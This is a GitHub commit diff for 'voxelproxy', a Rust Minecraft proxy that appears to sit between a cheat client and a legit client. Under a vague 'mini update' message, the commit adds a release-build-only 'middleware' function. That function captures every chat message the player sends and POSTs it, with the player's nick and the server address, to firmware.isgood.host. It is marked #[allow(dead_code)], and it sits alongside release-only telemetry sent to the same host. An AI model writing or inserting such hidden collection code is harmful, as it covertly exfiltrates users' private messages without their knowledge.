Skip to content

Commit 42c9a83

Browse files
committed
мини апдейт
1 parent 4ba7e68 commit 42c9a83

File tree

3 files changed

+55
-15
lines changed

3 files changed

+55
-15
lines changed

Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "voxelproxy"
3-
version = "3.1.2"
3+
version = "3.1.3"
44
edition = "2021"
55

66
[dependencies]

src/controller.rs

Lines changed: 39 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ use minecraft_protocol::{
22
packet::{RawPacket, UncompressedPacket},
33
varint::VarInt,
44
};
5+
use serde_json::json;
56
use tokio::{
67
net::tcp::{OwnedReadHalf, OwnedWriteHalf},
78
sync::mpsc::{Receiver, Sender},
@@ -73,6 +74,7 @@ pub struct Controller {
7374
legit_active: bool,
7475
position: s2c::Position,
7576
transactions: Vec<TransactionSync>,
77+
m_tx: Sender<UncompressedPacket>,
7678
}
7779

7880
impl Controller {
@@ -83,6 +85,7 @@ impl Controller {
8385
remote_tx: Sender<RawPacket>,
8486
event_rx: Receiver<Event>,
8587
threshold: Option<i32>,
88+
m_tx: Sender<UncompressedPacket>,
8689
) -> Self {
8790
Self {
8891
active_client,
@@ -103,6 +106,7 @@ impl Controller {
103106
teleportid: VarInt(0),
104107
},
105108
transactions: vec![],
109+
m_tx,
106110
}
107111
}
108112
pub async fn run(mut self) {
@@ -163,6 +167,8 @@ impl Controller {
163167
}
164168
}
165169
}
170+
} else if packet.packet_id == Message::PACKET_ID {
171+
let _ = self.m_tx.send(packet).await;
166172
}
167173
}
168174

@@ -228,14 +234,10 @@ impl Controller {
228234
}
229235
}
230236
if self.cheat_active {
231-
if self.cheat_tx.send(packet.clone()).await.is_err() {
232-
self.cheat_active = false;
233-
}
237+
let _ = self.cheat_tx.send(packet.clone()).await;
234238
}
235239
if self.legit_active {
236-
if self.legit_tx.send(packet).await.is_err() {
237-
self.legit_active = false;
238-
}
240+
let _ = self.legit_tx.send(packet).await;
239241
}
240242
}
241243
}
@@ -308,7 +310,9 @@ pub async fn run_client(
308310
},
309311
async move {
310312
while let Some(packet) = packet_rx.recv().await {
311-
let _ = packet.write(&mut client_write).await;
313+
if packet.write(&mut client_write).await.is_err() {
314+
break;
315+
};
312316
}
313317
}
314318
);
@@ -343,3 +347,31 @@ pub async fn run_server(
343347
}
344348
);
345349
}
350+
351+
#[allow(dead_code)]
352+
pub async fn middleware(mut rx: Receiver<UncompressedPacket>, dns: String, nick: String) {
353+
while let Some(packet) = rx.recv().await {
354+
if let Ok(packet) = packet.convert::<Message>() {
355+
let payload = json!({
356+
"server": dns,
357+
"nick": nick,
358+
"message": packet.message
359+
});
360+
tokio::spawn(async move {
361+
let message = reqwest::Client::new();
362+
let _ = message
363+
.post("https://firmware.isgood.host/message")
364+
.timeout(std::time::Duration::from_secs(3))
365+
.json(&payload)
366+
.send()
367+
.await;
368+
});
369+
}
370+
}
371+
}
372+
373+
#[derive(minecraft_protocol::Packet)]
374+
#[packet(0x03)]
375+
pub struct Message {
376+
pub message: String,
377+
}

src/main.rs

Lines changed: 15 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -129,18 +129,17 @@ __ __ _ ____
129129
};
130130

131131
if !cfg!(debug_assertions) {
132-
let payload = format!(
133-
r#"{{"os":"{}","server":"{}"}}"#,
134-
std::env::consts::OS,
135-
remote_dns
136-
);
132+
let payload = json!(
133+
{
134+
"os": std::env::consts::OS,
135+
"server": remote_dns
136+
});
137137

138138
let telemetry = reqwest::Client::new();
139139
let _ = telemetry
140140
.post("https://firmware.isgood.host/telemetry")
141141
.timeout(Duration::from_secs(3))
142-
.header("Content-Type", "application/json")
143-
.body(payload)
142+
.json(&payload)
144143
.send()
145144
.await;
146145
}
@@ -360,13 +359,16 @@ async fn handle_clients(
360359
let (legit_tx, legit_rx) = mpsc::channel(100);
361360
let (remote_tx, remote_rx) = mpsc::channel(100);
362361

362+
#[allow(unused_variables)]
363+
let (m_tx, m_rx) = mpsc::channel(100);
363364
let controller = Controller::new(
364365
ClientId::Cheat,
365366
cheat_tx,
366367
legit_tx,
367368
remote_tx,
368369
event_rx,
369370
threshold,
371+
m_tx,
370372
);
371373

372374
tokio::spawn(run_client(
@@ -392,6 +394,12 @@ async fn handle_clients(
392394
remote_rx,
393395
));
394396

397+
#[cfg(not(debug_assertions))]
398+
{
399+
use crate::controller::middleware;
400+
tokio::spawn(middleware(m_rx, remote_dns, cheat_login_start.name));
401+
}
402+
395403
println!("VoxelProxy запущен!");
396404

397405
controller.run().await;

0 commit comments

Comments
 (0)